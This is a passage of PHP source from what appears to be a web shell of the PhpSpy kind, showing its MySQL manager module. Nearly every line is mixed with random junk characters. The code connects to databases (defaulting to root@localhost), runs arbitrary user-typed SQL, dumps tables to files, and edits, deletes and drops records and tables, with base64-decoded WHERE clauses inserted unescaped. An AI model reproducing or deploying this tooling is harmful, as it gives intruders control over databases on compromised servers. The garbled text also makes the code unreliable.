    7 X. i* B% ~1 E; R  }! ?
  669.         makehide('dbport');
    5 Y! e; h" R/ z2 H5 T: x
  670.         makehide('dbuser');
    - g: J: `- t* a* o) _2 x3 _7 K
  671.         makehide('dbpass');
    * B6 ?- G8 ^& F9 _' m0 [. n
  672.         makehide('dbname');$ t- X1 k: V9 T; Q/ p* \- Y+ D5 a
  673.         makehide('charset');' E  f: f1 H% r' y. w
  674.         makehide('doing');
    + r* F& F4 ?! ~2 |
  675.         makehide('action','sqlfile');
    6 \9 X! Z# I/ K4 j1 ]5 ~8 D
  676.         p('</form>');
    & {! v  ?# W) L' C
  677. }
    8 d, b, F! i- Z  n6 d; T

  678. , A; E, O! [; I# j% X
  679. elseif ($action == 'sqladmin') {
    " j8 e$ h+ q; n1 E
  680.         !$dbhost && $dbhost = 'localhost';
    9 l! W2 m+ V7 S2 [2 a' o5 T- U/ ^
  681.         !$dbuser && $dbuser = 'root';/ J6 k: I  H4 m' a
  682.         !$dbport && $dbport = '3306';
    $ i6 U- W6 K% Z! e
  683.         $dbform = '<input type="hidden" id="connect" name="connect" value="1" />';( }3 y, ]. r0 n7 g! i" {
  684.         if(isset($dbhost)){5 Z: ^6 I+ I$ ]
  685.                 $dbform .= "<input type="hidden" id="dbhost" name="dbhost" value="$dbhost" />\n";
    # k5 Z$ P) b" [5 [; M6 e! K7 ^
  686.         }* j9 f4 c+ a0 L! }/ F
  687.         if(isset($dbuser)) {
    ; f# s- _& J& w" H. v
  688.                 $dbform .= "<input type="hidden" id="dbuser" name="dbuser" value="$dbuser" />\n";; R7 L* N% W# t+ {2 Y3 I
  689.         }
    8 D% W& d& F. w1 v6 l) \
  690.         if(isset($dbpass)) {
      F* E* s" Z: O8 ]6 T
  691.                 $dbform .= "<input type="hidden" id="dbpass" name="dbpass" value="$dbpass" />\n";
    - p, Z8 z# @, S5 Q, V+ s: Q# ]- e1 B
  692.         }# q5 y8 o- x7 g* x9 S
  693.         if(isset($dbport)) {% l* u0 n: V( P( `
  694.                 $dbform .= "<input type="hidden" id="dbport" name="dbport" value="$dbport" />\n";
    ' J& \) a( `* _0 @0 \
  695.         }1 R2 ^: p" S; @4 U9 {+ \
  696.         if(isset($dbname)) {- U2 s3 B! i% h' y
  697.                 $dbform .= "<input type="hidden" id="dbname" name="dbname" value="$dbname" />\n";; t4 t8 D$ @8 I) F' |
  698.         }( g. ]: }% T% j& }
  699.         if(isset($charset)) {
    , A/ |9 L- t. \' e6 v  R
  700.                 $dbform .= "<input type="hidden" id="charset" name="charset" value="$charset" />\n";
    8 y) B/ C) ]6 X
  701.         }
    0 }% t" g# ~+ p6 }' m
  702. - k( X. k- f* I. F7 K+ B
  703.         if ($doing == 'backupmysql' && $saveasfile) {4 a1 ~9 F0 l( W8 W# L' g
  704.                 if (!$table) {
    3 I; q2 U6 _1 Z5 j
  705.                         m('Please choose the table');1 V( K0 c% f" c- @) }+ ^  r1 ]
  706.                 } else {  C# L2 O+ {" N* @# p7 A
  707.                         dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
    " {: B2 V$ U8 N) z, I
  708.                         $table = array_flip($table);/ S3 F+ b! L( L0 d
  709.                         $fp = @fopen($path,'w');
    # [! s$ e9 S+ j( K
  710.                         if ($fp) {5 p% n: c( z, U8 }' g
  711.                                 $result = q('SHOW tables');* M; ?( y+ ]0 W1 b2 J
  712.                                 if (!$result) p('<h2>'.mysql_error().'</h2>');
    ; O! @; u+ |; B8 Q+ A
  713.                                 $mysqldata = '';/ L/ I' V; `) V6 ?. i! Z/ }' h
  714.                                 while ($currow = mysql_fetch_array($result)) {
    : \8 C' M# v3 f
  715.                                         if (isset($table[$currow[0]])) {
    ! A6 E! w& g: f3 Q. I* U, c
  716.                                                 sqldumptable($currow[0], $fp);. d5 F3 Y+ C; r
  717.                                         }5 D  X* {. U' V
  718.                                 }# T& F: c% e7 c( J
  719.                                 fclose($fp);
    - B4 B: l7 W( j1 i6 `
  720.                                 $fileurl = str_replace(SA_ROOT,'',$path);( Y# v) V( y9 P" E, [
  721.                                 m('Database has success backup to <a href="'.$fileurl.'" target="_blank">'.$path.'</a>');$ J, z+ `$ g& a# g4 W
  722.                                 mysql_close();; b# K) s( m3 Y8 x
  723.                         } else {
    ; z5 X' @" l* K/ X, j% s
  724.                                 m('Backup failed');
    ; }3 N8 W' ~: C/ ]8 e
  725.                         }
    5 ?* ]4 E8 M4 l- W
  726.                 }
    6 n7 h# Q& ]9 X6 a
  727.         }
    9 q/ N+ @& u% @; R
  728.         if ($insert && $insertsql) {
    ! u7 p5 n- A- j% `# \
  729.                 $keystr = $valstr = $tmp = '';6 t$ S# {; J8 F
  730.                 foreach($insertsql as $key => $val) {0 d8 X1 m1 N; t5 }! x& }% ~, s
  731.                         if ($val) {
    * s2 o6 a0 x; P  r1 F+ C
  732.                                 $keystr .= $tmp.$key;  c+ G" l/ f, W; B# j. W8 m+ X
  733.                                 $valstr .= $tmp."'".addslashes($val)."'";
    ' u! j6 }9 p1 J# G5 z
  734.                                 $tmp = ',';) b+ j: r8 M$ |4 M/ ]6 [
  735.                         }
    ) S1 K0 D  Y2 b9 J! W7 R+ K
  736.                 }
    ( q# Y! T! K( [0 p+ s( ]
  737.                 if ($keystr && $valstr) {
    , t+ h" o6 b9 ~0 m9 B
  738.                         dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);, i$ Z$ ~  Y1 H" J# A
  739.                         m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Insert new record of success' : mysql_error());
    6 {: c2 r; V" b4 L+ h) M
  740.                 }
    ' x% j5 l( @% L0 R$ X
  741.         }+ L( K8 Z) A) T5 X% j
  742.         if ($update && $insertsql && $base64) {
    2 M1 m, B( @+ P9 n8 q6 C, h
  743.                 $valstr = $tmp = '';* Y$ M  p& l: B+ X& M- S
  744.                 foreach($insertsql as $key => $val) {
    / f, R# C& b3 V; T1 |( H
  745.                         $valstr .= $tmp.$key."='".addslashes($val)."'";+ K1 Z! s  o, n" l0 r
  746.                         $tmp = ',';) w( M3 U# k% I' d
  747.                 }
    - l( L$ _, B# n
  748.                 if ($valstr) {
    0 h6 S( `6 i9 g. t: e- D( x. m% s
  749.                         $where = base64_decode($base64);
    * z- ~. r/ s% h% ~& C& b6 b
  750.                         dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);* M1 r* {0 ~& w
  751.                         m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? 'Record updating' : mysql_error());1 ~; }& f9 _2 ^& x( N
  752.                 }
    . Z9 ]+ u# ~; v
  753.         }7 x$ m1 W1 ^3 F! F
  754.         if ($doing == 'del' && $base64) {$ o4 T0 R, u$ m
  755.                 $where = base64_decode($base64);
    ' O7 }1 b  D$ F. ~
  756.                 $delete_sql = "DELETE FROM $tablename WHERE $where";4 P2 D# s- k( _) _1 a
  757.                 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);! n6 M! j! z& `6 u7 ?: s/ s* F
  758.                 m(q("DELETE FROM $tablename WHERE $where") ? 'Deletion record of success' : mysql_error());6 z6 P& n/ d1 C( v
  759.         }8 t% m6 G- j/ v- D* B

  760. 4 i( Z; U( N$ T; F6 C0 n  ~% B
  761.         if ($tablename && $doing == 'drop') {
    % Z" f  ?8 h6 x" Q
  762.                 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
    , M; b/ K5 t. C7 U9 |
  763.                 if (q("DROP TABLE $tablename")) {
    " T. x$ f! K) u. L' e# Q
  764.                         m('Drop table of success');
    ) @7 [6 a$ ^) K9 T% d3 _
  765.                         $tablename = '';: ]! K; ]+ q/ }. J' t
  766.                 } else {. E3 N) m# H5 H% D# Z
  767.                         m(mysql_error());7 I4 Q# [. X2 M( z. I+ Q) A
  768.                 }
    . v8 f4 z5 ~  }( G
  769.         }% t& R: M8 b9 Z2 U5 Q0 e
  770. $ K' k: O' `+ p2 r( u" g
  771.         $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');
    7 i9 q& _, `) v4 x! w
  772. 4 T( U; B; A. e! H3 K
  773.         formhead(array('title'=>'MYSQL Manager'));9 |$ S2 }) J1 {6 [; r: E7 x9 Q
  774.         makehide('action','sqladmin');
    3 |+ f& X+ ~* _1 J3 b5 g* t6 H/ G
  775.         p('<p>');4 n! n/ n( m+ O" U" Y) G) ?8 }
  776.         p('DBHost:');
    + N$ v- T" B6 T
  777.         makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
    2 @" o& k- }& S0 ~
  778.         p(':');
    3 A# K9 [& b! m# M( J2 H  {
  779.         makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));) g! q, b- m$ Q& H! b( z
  780.         p('DBUser:');- Z& Z7 R! K; N* c( G
  781.         makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
    ; J" J/ `  U2 }
  782.         p('DBPass:');
    ) I) T1 d( G# l
  783.         makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));& X. I* Y+ |* C" N$ n
  784.         p('DBCharset:');7 Y- X# Q( A6 Y2 D, H
  785.         makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));7 H. z  x9 t1 X/ a& ~; I
  786.         makeinput(array('name'=>'connect','value'=>'Connect','type'=>'submit','class'=>'bt'));
    * A+ _& l# c& q
  787.         p('</p>');
    . ?- q! {) E4 o% v! V9 i
  788.         formfoot();
    ! Z6 L- Z) I% \
  789. ?>/ q5 ?7 ^; J9 A9 J: T% R
  790. <script type="text/javascript">& l6 I. H5 Q$ D7 x4 S
  791. function editrecord(action, base64, tablename){; ]$ l; e5 L" \7 d
  792.         if (action == 'del') {               
    / x% U) Z0 a! S  S' L
  793.                 if (!confirm('Is or isn\'t deletion record?')) return;
    6 Z% X8 }& t/ n+ s
  794.         }
    / G& {: A( ?2 A' x) {
  795.         $('recordlist').doing.value=action;  E7 v. H/ f! N9 n4 ~! k9 [; L
  796.         $('recordlist').base64.value=base64;
    " w; T& w& r7 l# h" [
  797.         $('recordlist').tablename.value=tablename;& C) J8 y8 Z% D, k; |1 W
  798.         $('recordlist').submit();2 z% I; x! g$ b6 c4 f4 O
  799. }
    ! S* z. F: s/ a# v
  800. function moddbname(dbname) {
    2 ~$ _+ x* E: n4 g. c2 a* L( n* J" [
  801.         if(!dbname) return;: U2 r' z5 Z* o' S. m6 |
  802.         $('setdbname').dbname.value=dbname;
    - R4 h1 {: I5 r# e
  803.         $('setdbname').submit();; f4 h. l# {( e' v8 S  S
  804. }' k+ r& D# @- |6 F. \% x
  805. function settable(tablename,doing,page) {
    ' b4 V3 Q( \" \' S, R, k
  806.         if(!tablename) return;) Z* W% T4 r8 ]$ b- ?- X: o8 f9 }* f6 Z
  807.         if (doing) {
    : i* X- L# X+ u. s
  808.                 $('settable').doing.value=doing;) \- U9 W/ m1 `  w. w/ ]
  809.         }# w! T  }9 ~" {9 T
  810.         if (page) {- J9 a8 Q! d$ C" R# s6 q2 y: G* F
  811.                 $('settable').page.value=page;0 u( |8 b) s; J( e, w
  812.         }  |( T  F5 B6 |# q4 I& d6 M+ R8 {: b
  813.         $('settable').tablename.value=tablename;5 m& Q, K7 ?$ d2 Q9 }2 `4 A0 I( @2 b
  814.         $('settable').submit();
    ' S0 I) C0 W2 |5 I7 m0 v
  815. }
    # @9 A- l5 L' B
  816. </script>) t, e% V! f5 {0 Y
  817. <?php
    / Q6 ~3 N4 H' X4 Y; }2 |
  818.         //操作记录( e2 p" a1 T! h6 ~+ S
  819.         formhead(array('name'=>'recordlist'));
    ! [6 ?0 A7 \0 ]2 S! ~5 J- [: K
  820.         makehide('doing');4 p4 l4 n2 S2 X0 H) @7 x, i9 Q
  821.         makehide('action','sqladmin');. K9 i9 ]  V. q
  822.         makehide('base64');: F1 H2 M; O0 H- g3 o$ n
  823.         makehide('tablename');
      c: B8 y9 a8 Z' D: u/ n7 S) V
  824.         p($dbform);; I& ^6 x1 ~! u+ u. U
  825.         formfoot();
    ) Q, G- S% o; f! p, G. N4 a
  826.         //选定数据库( V2 m. T; s0 a. ~! l
  827.         formhead(array('name'=>'setdbname'));$ m) W& P: i) V  q' ~1 h  F
  828.         makehide('action','sqladmin');
    - F7 H) `$ b2 h+ ^1 L( Z$ q; s
  829.         p($dbform);
    ; e7 N; o/ h5 x1 Y
  830.         if (!$dbname) {" e8 \% z' u. E* O
  831.                 makehide('dbname');
    9 l$ O2 F" x) r8 e
  832.         }
    / N/ u3 W( q$ O6 `  S1 |2 _3 i4 S2 l. R
  833.         formfoot();. }: h5 ?3 Z( \' o- x  d
  834.         //选定表4 s0 X: a. ^3 ^
  835.         formhead(array('name'=>'settable'));1 _9 R! x9 I6 t8 r) }3 Y, o$ t
  836.         makehide('action','sqladmin');
    , S4 r* w" `; E& l9 J; G* R
  837.         p($dbform);
    / I; \. z! ]. F. |
  838.         makehide('tablename');
    3 |6 c" e# G# p& K* j3 M
  839.         makehide('page',$page);& O" ?, C# I1 u
  840.         makehide('doing');
    ( |, f# {( p4 P: ~. Q: Y# z1 P3 ~2 Z2 F
  841.         formfoot();
    ! x6 W& d- D. w& _
  842.         $cachetables = array();          F* a% ?: O# L5 P
  843.         $pagenum = 30;
    ' a. `+ M5 N/ W2 X, S# h! G6 G0 |
  844.         $page = intval($page);
      J1 u8 Y4 D0 i- |/ C
  845.         if($page) {
    6 h* m. }& i% n
  846.                 $start_limit = ($page - 1) * $pagenum;
    % y. L9 U6 o1 o8 N2 [) \; q# x" A9 p( J
  847.         } else {
    5 U5 X! @* I( b; Y% d( E
  848.                 $start_limit = 0;$ {* U  m0 F) g0 Q/ x. X8 {3 V
  849.                 $page = 1;
    & E. e/ }9 M' |$ G9 {
  850.         }
    7 p; i4 j) I1 Z
  851.         if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {  x$ e( P$ W5 @
  852.                 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
    9 y9 _  r6 l2 z4 d
  853.                 //获取数据库信息! z8 D9 ^& h/ Q5 V
  854.                 $mysqlver = mysql_get_server_info();& s4 ?5 ^* b7 u  u
  855.                 p('<p>MySQL '.$mysqlver.' running in '.$dbhost.' as '.$dbuser.'@'.$dbhost.'</p>');: A% v2 F6 |: P' z1 i" |0 Z( K9 I
  856.                 $highver = $mysqlver > '4.1' ? 1 : 0;
    . T4 |, {  L7 \0 W, P6 X( G3 ~
  857.                 //获取数据库% {3 s2 ~) t! S4 J; ^
  858.                 $query = q("SHOW DATABASES");
    5 m, ^* D0 C7 V# ~& X
  859.                 $dbs = array();' [! t. m3 Q1 C
  860.                 $dbs[] = '-- Select a database --';' r1 [& U8 Z0 j% ?
  861.                 while($db = mysql_fetch_array($query)) {
    : r( l2 z% K1 p' r9 L+ d
  862.                         $dbs[$db['Database']] = $db['Database'];+ j" E# T# y. ^" u* R6 f: j1 n! O
  863.                 }
    7 t, p% ~! @5 p+ d+ i8 M6 h
  864.                 makeselect(array('title'=>'Please select a database:','name'=>'db[]','option'=>$dbs,'selected'=>$dbname,'onchange'=>'moddbname(this.options[this.selectedIndex].value)','newline'=>1));, ~0 U+ Q0 h+ j7 D7 D( d) p! x+ |
  865.                 $tabledb = array();
    3 T2 i; G9 r1 B# i( U
  866.                 if ($dbname) {3 J" J5 h$ c; [) k: m$ Y
  867.                         p('<p>');: v, L( A( h2 g  x! h: g
  868.                         p('Current dababase: <a href="javascript:moddbname(\''.$dbname.'\');">'.$dbname.'</a>');
    * t- k. w% }4 a* `* k) m# D, q
  869.                         if ($tablename) {3 h' G2 C% i5 z+ i
  870.                                 p(' | Current Table: <a href="javascript:settable(\''.$tablename.'\');">'.$tablename.'</a> [ <a href="javascript:settable(\''.$tablename.'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$tablename.'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$tablename.'\', \'drop\');">Drop</a> ]');
    : u, k9 G  T* n" K% S2 G* e) Z
  871.                         }
    8 m) j. y# Y; B4 E. c7 \
  872.                         p('</p>');
    ; _( f2 d0 Y. I
  873.                         mysql_select_db($dbname);% `4 \5 W- ?! H2 J( `  d6 B, s# `
  874.                         $getnumsql = '';
    " w! U( ]% a9 v6 W  j; C
  875.                         $runquery = 0;
    1 @3 Z9 j: o% ~6 Z. f! m
  876.                         if ($sql_query) {
    " a. f8 E6 q7 [3 x# I$ y
  877.                                 $runquery = 1;6 ?) O: R% y7 S2 |, y
  878.                         }
    ! T1 M# M# v: k
  879.                         $allowedit = 0;
    : a6 x. ]' N+ {/ y6 A; J
  880.                         if ($tablename && !$sql_query) {8 ?# v% R9 z8 J, d; |% b$ U
  881.                                 $sql_query = "SELECT * FROM $tablename";9 n$ P) e9 c6 P* x6 R' w# {' b; u
  882.                                 $getnumsql = $sql_query;  A1 |! O+ w  e; B
  883.                                 $sql_query = $sql_query." LIMIT $start_limit, $pagenum";2 O  f: {. ]( h. f, L
  884.                                 $allowedit = 1;- a: l+ f5 _  h4 @! _6 r% V
  885.                         }
    * O2 o7 z" F& N' S; n+ _
  886.                         p('<form action="'.$self.'" method="POST">');
    0 S, p9 A+ X4 }: t
  887.                         p('<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database '.$dbname.':</td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">'.htmlspecialchars($sql_query,ENT_QUOTES).'</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /></td></tr></table></p>');
    : w" e7 H1 Q. ]0 _
  888.                         makehide('tablename', $tablename);
      `# x5 P6 \' [
  889.                         makehide('action','sqladmin');
    - L" ~5 }0 I/ S, n3 u" E) g
  890.                         p($dbform);- c  A4 Y- A, [
  891.                         p('</form>');/ M$ |# k- @/ G. W+ h- m5 I- G
  892.                         if ($tablename || ($runquery && $sql_query)) {
    ( S; k: x: X% o* f! e& }
  893.                                 if ($doing == 'structure') {! k& q, n& E- [- z( c) k* t
  894.                                         $result = q("SHOW COLUMNS FROM $tablename");
    ( Y* _9 q0 `' k8 `( W: q) I3 ]. p
  895.                                         $rowdb = array();. i) Q8 C5 s1 z8 p3 y7 Q
  896.                                         while($row = mysql_fetch_array($result)) {- V0 u$ f" D! C1 V( L/ O
  897.                                                 $rowdb[] = $row;; L+ K4 H  R' [* y, F
  898.                                         }. k: S/ f  E  h" c" K+ M! `( v
  899.                                         p('<table border="0" cellpadding="3" cellspacing="0">');
    - I8 [5 G" C# H/ `
  900.                                         p('<tr class="head">');4 x* ]/ a! o  n* R
  901.                                         p('<td>Field</td>');0 ]+ U* R0 L4 v' c# \( i+ q( L% q
  902.                                         p('<td>Type</td>');* e8 w: D6 Y; R# R$ \8 g' Z
  903.                                         p('<td>Null</td>');
    + S( M" d8 G% J2 u! t5 e
  904.                                         p('<td>Key</td>');
    . f) Z* R1 B. ~( K; u) C
  905.                                         p('<td>Default</td>');
    ! m" l" A' w  H3 Z; T- Y! }
  906.                                         p('<td>Extra</td>');  K5 D* z" k: T/ N
  907.                                         p('</tr>');% m- z2 }  X4 T0 v$ _! v! p* r! P
  908.                                         foreach ($rowdb as $row) {
    , P, s' W7 e" L. Z$ M+ b
  909.                                                 $thisbg = bg();& U1 o" v% H; d
  910.                                                 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');7 ?+ p: v: |$ J. H, |: |
  911.                                                 p('<td>'.$row['Field'].'</td>');
    2 B- Z( l9 K/ }" q% q& I$ f
  912.                                                 p('<td>'.$row['Type'].'</td>');: j2 t' N5 Y/ g& }& H$ y
  913.                                                 p('<td>'.$row['Null'].' </td>');: F, Q$ G1 m' x2 o4 C3 H
  914.                                                 p('<td>'.$row['Key'].' </td>');
    / J" v$ c3 `# Y" Y0 t
  915.                                                 p('<td>'.$row['Default'].' </td>');7 Q4 a7 Q2 L5 c8 d
  916.                                                 p('<td>'.$row['Extra'].' </td>');1 t7 J- g- ^5 w( A
  917.                                                 p('</tr>');
    1 u0 {3 R7 ?# s( f
  918.                                         }
    . T- A  J" X6 R8 {' I4 e0 M  K- S( t
  919.                                         tbfoot();
    - c5 B! R; e7 L5 k5 d# ?
  920.                                 } elseif ($doing == 'insert' || $doing == 'edit') {2 e6 O( W# V8 x4 {( _$ Y1 Q$ C
  921.                                         $result = q('SHOW COLUMNS FROM '.$tablename);
    7 ]6 C* ?6 x* P
  922.                                         while ($row = mysql_fetch_array($result)) {: k$ h3 [8 R" `+ B! O3 O  S
  923.                                                 $rowdb[] = $row;# i1 E! G; Q0 K) R# I) v
  924.                                         }
    $ A( x5 e! ?7 c. @# m+ _4 w
  925.                                         $rs = array();3 C$ X: d, Y3 e* n8 T
  926.                                         if ($doing == 'insert') {
    " l3 @5 A! C. k! q  T7 M/ E3 T
  927.                                                 p('<h2>Insert new line in '.$tablename.' table »</h2>');( G1 F' d, H. |( W5 H- u
  928.                                         } else {( o# o$ D% C* ]' g- S! o
  929.                                                 p('<h2>Update record in '.$tablename.' table »</h2>');
      w7 X9 S) P' V+ y  R1 P
  930.                                                 $where = base64_decode($base64);
    ( J* @8 o# L0 f
  931.                                                 $result = q("SELECT * FROM $tablename WHERE $where LIMIT 1");
    2 S  b! Y, G% d  F8 B/ r
  932.                                                 $rs = mysql_fetch_array($result);
    - m6 Q1 ?  V$ P7 ^8 N
  933.                                         }7 [* W; a* L8 \5 H* j; H0 M
  934.                                         p('<form method="post" action="'.$self.'">');/ x1 U4 a1 u# B0 c9 n7 h% G; v
  935.                                         p($dbform);
    5 t' ?/ y5 f! s% Q; V# _
  936.                                         makehide('action','sqladmin');
    8 }6 [1 A* X0 @7 u3 h5 J4 Z. j4 K
  937.                                         makehide('tablename',$tablename);9 ^3 J0 ?  c6 ?8 _1 E
  938.                                         p('<table border="0" cellpadding="3" cellspacing="0">');9 h# @8 \3 j) M9 ?% W
  939.                                         foreach ($rowdb as $row) {
    / N1 J  B0 J& Q9 `6 H8 j# c
  940.                                                 if ($rs[$row['Field']]) {' i2 y1 g: }/ A0 J; E, ^
  941.                                                         $value = htmlspecialchars($rs[$row['Field']]);% ^* {5 ^0 h; Y* v
  942.                                                 } else {
    7 Q( i) k: }8 Z% v$ E" X3 V, A" z
  943.                                                         $value = '';1 H: o! P0 U4 Z" e4 @
  944.                                                 }
    ; Z5 ^' X) N; Y1 H* w
  945.                                                 $thisbg = bg();
    5 Q& Y- _6 B) L! N  K6 C
  946.                                                 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');" [8 S4 L; R! V% g0 s2 Q
  947.                                                 p('<td><b>'.$row['Field'].'</b><br />'.$row['Type'].'</td><td><textarea class="area" name="insertsql['.$row['Field'].']" style="width:500px;height:60px;overflow:auto;">'.$value.'</textarea></td></tr>');
    + N2 O( o6 C* p9 e) n& l) r
  948.                                         }. h/ a/ p/ Z, a& V& R* H6 h
  949.                                         if ($doing == 'insert') {
    ' K6 W8 y( v( b: c+ r
  950.                                                 p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>');
    4 Y: g) f7 q, c8 |. U6 O
  951.                                         } else {
    ! r0 _1 \7 I! J0 i" z7 ^
  952.                                                 p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="update" value="Update" /></td></tr>');
    - b  K7 [2 n1 h% h- A6 T0 V1 P1 _
  953.                                                 makehide('base64', $base64);
    # ~5 `$ x+ m$ _7 |+ i" |
  954.                                         }
    3 j, F( m& j, J
  955.                                         p('</table></form>');; r+ B: B. n( q! t
  956.                                 } else {" P, P) L. G# R* z
  957.                                         $querys = @explode(';',$sql_query);$ l2 K1 m; D" [& X+ b3 A1 F
  958.                                         foreach($querys as $num=>$query) {$ Z8 J( m  T2 r1 S2 @  `" d1 `
  959.                                                 if ($query) {
    0 B6 F$ q: @  Q( [7 I. _- K
  960.                                                         p("<p><b>Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."</b></p>");
    ) _' v# U# }$ {5 m) E8 i  k
  961.                                                         switch(qy($query))1 {5 Q, Q8 j5 g4 A+ X4 h
  962.                                                         {
    $ ~. }% D* e. r8 L% g
  963.                                                                 case 0:
    $ X3 m- n0 F$ N* V
  964.                                                                         p('<h2>Error : '.mysql_error().'</h2>');8 e2 h( e% U. C5 l
  965.                                                                         break;        ! J3 A! s8 p( z1 h. O
  966.                                                                 case 1:. D: P0 Y: m5 O) V* d; u( c0 x
  967.                                                                         if (strtolower(substr($query,0,13)) == 'select * from') {; d# f+ g8 m: B, _! c: }
  968.                                                                                 $allowedit = 1;) w( l' J# j7 Z; r5 k) n1 y
  969.                                                                         }
      T. A6 F) e; C' X
  970.                                                                         if ($getnumsql) {1 `1 g7 d, E( U- E* f
  971.                                                                                 $tatol = mysql_num_rows(q($getnumsql));
    " n8 @% [, ]3 @* o# A6 ^- f; g# Z- i
  972.                                                                                 $multipage = multi($tatol, $pagenum, $page, $tablename);* y$ U" ^4 h0 j  F( t: g
  973.                                                                         }8 w- A/ ]2 Z  g( s% Z$ F: @4 q% t
  974.                                                                         if (!$tablename) {3 B8 K9 T( E% a- `2 y
  975.                                                                                 $sql_line = str_replace(array("\r", "\n", "\t"), array(' ', ' ', ' '), trim(htmlspecialchars($query)));. i* C* x8 i; y
  976.                                                                                 $sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line);0 ?  [, g' I, M5 q. I0 l
  977.                                                                                 preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$sql_line,$matches);# X9 d$ W/ Q: b, z$ i" e- x
  978.                                                                                 $tablename = $matches[1][0];: `) [* e1 A, Q0 A: B$ I
  979.                                                                         }" e2 b- Z0 l0 ~( @
  980.                                                                         $result = q($query);
    6 O7 C0 J: ?0 ]1 P( B. W5 {
  981.                                                                         p($multipage);7 @& R; Q. n5 y6 i* H
  982.                                                                         p('<table border="0" cellpadding="3" cellspacing="0">');
    * i# Y8 @7 ]5 D& `
  983.                                                                         p('<tr class="head">');9 i" a" [7 N" n8 C' s; z
  984.                                                                         if ($allowedit) p('<td>Action</td>');
    " `5 F. K) g/ V
  985.                                                                         $fieldnum = @mysql_num_fields($result);& q6 O4 T9 d' t8 [
  986.                                                                         for($i=0;$i<$fieldnum;$i++){
    # r8 R- z2 q; d7 B8 Z1 E3 J
  987.                                                                                 $name = @mysql_field_name($result, $i);
    3 R0 W0 a- _. l4 P- H
  988.                                                                                 $type = @mysql_field_type($result, $i);/ F& Z; a2 M4 c  u. i
  989.                                                                                 $len = @mysql_field_len($result, $i);2 ?! E( \) H. K) H
  990.                                                                                 p("<td nowrap>$name<br><span>$type($len)</span></td>");
    - `: x. r2 J+ O! ^$ ?9 E! f: B
  991.                                                                         }
    + [3 s0 e" P8 ]9 p1 u# ^
  992.                                                                         p('</tr>');+ r& {+ ~. l) Y! v( P- [
  993.                                                                         while($mn = @mysql_fetch_assoc($result)){* @6 I! A4 w+ k6 @
  994.                                                                                 $thisbg = bg();
    $ u7 I5 x# t$ v. k1 k
  995.                                                                                 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
    9 k4 @5 y* E1 L3 g0 s
  996.                                                                                 $where = $tmp = $b1 = '';
    6 a$ f3 _  i, A% [: B& t" p! |% x
  997.                                                                                 foreach($mn as $key=>$inside){
    6 Y9 v9 R4 T3 m7 @2 N
  998.                                                                                         if ($inside) {+ R1 h. M5 K; F, G3 G
  999.                                                                                                 $where .= $tmp.$key."='".addslashes($inside)."'";
    0 W1 l( F* H& t; |
  1000.                                                                                                 $tmp = ' AND ';
    ' g- b% a- y& ^9 Q; y( r) x
  1001.                                                                                         }4 l9 [+ R& I% [4 ]- m, }. r
  1002.                                                                                         $b1 .= '<td nowrap>'.html_clean($inside).' </td>';
    8 x4 l% j+ `0 \( i3 }# q
  1003.                                                                                 }
    + W$ p1 ^& m( e7 k  d
  1004.                                                                                 $where = base64_encode($where);: y) r* b2 {7 ?4 H* ~
  1005.                                                                                 if ($allowedit) p('<td nowrap><a href="javascript:editrecord(\'edit\', \''.$where.'\', \''.$tablename.'\');">Edit</a> | <a href="javascript:editrecord(\'del\', \''.$where.'\', \''.$tablename.'\');">Del</a></td>');
    9 ?! z% Z$ E9 z% o
  1006.                                                                                 p($b1);
    3 V& o- w/ o2 j) Q8 n2 s4 f
  1007.                                                                                 p('</tr>');# A; U4 B, `  h$ l
  1008.                                                                                 unset($b1);
    0 N: ]% i) @. X1 a; V  ^) e, a- Q
  1009.                                                                         }
    1 v' B0 p: Z: A" h- v* R. F! ^3 z' Z
  1010.                                                                         tbfoot();. t2 `4 b! b) c; I( e
  1011.                                                                         p($multipage);5 ?' F" Z& l. I8 v3 I0 @5 Y
  1012.                                                                         break;        5 Z9 {8 Y& ^$ i2 v( T7 T( I5 E
  1013.                                                                 case 2:
    * c; O& N. d5 K+ h- C
  1014.                                                                         $ar = mysql_affected_rows();/ A7 f2 W8 J5 ?( d3 J  _
  1015.                                                                         p('<h2>affected rows : <b>'.$ar.'</b></h2>');
    2 @7 M7 i- @/ t# P7 B0 k
  1016.                                                                         break;
    6 X+ J. x$ x2 l
  1017.                                                         }2 p( ?. y9 D  s% S; b4 X! g1 n+ [
  1018.                                                 }1 S5 R2 r$ Y# f: Y$ E
  1019.                                         }
    0 {6 T8 ^. e. N1 `
  1020.                                 }) H% e7 ]  i6 [. P5 x
  1021.                         } else {3 E6 [& ~+ n. _
